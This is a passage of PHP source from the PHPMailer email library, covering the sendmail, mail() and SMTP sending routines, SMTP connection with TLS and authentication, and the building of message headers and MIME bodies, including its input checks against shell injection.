                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
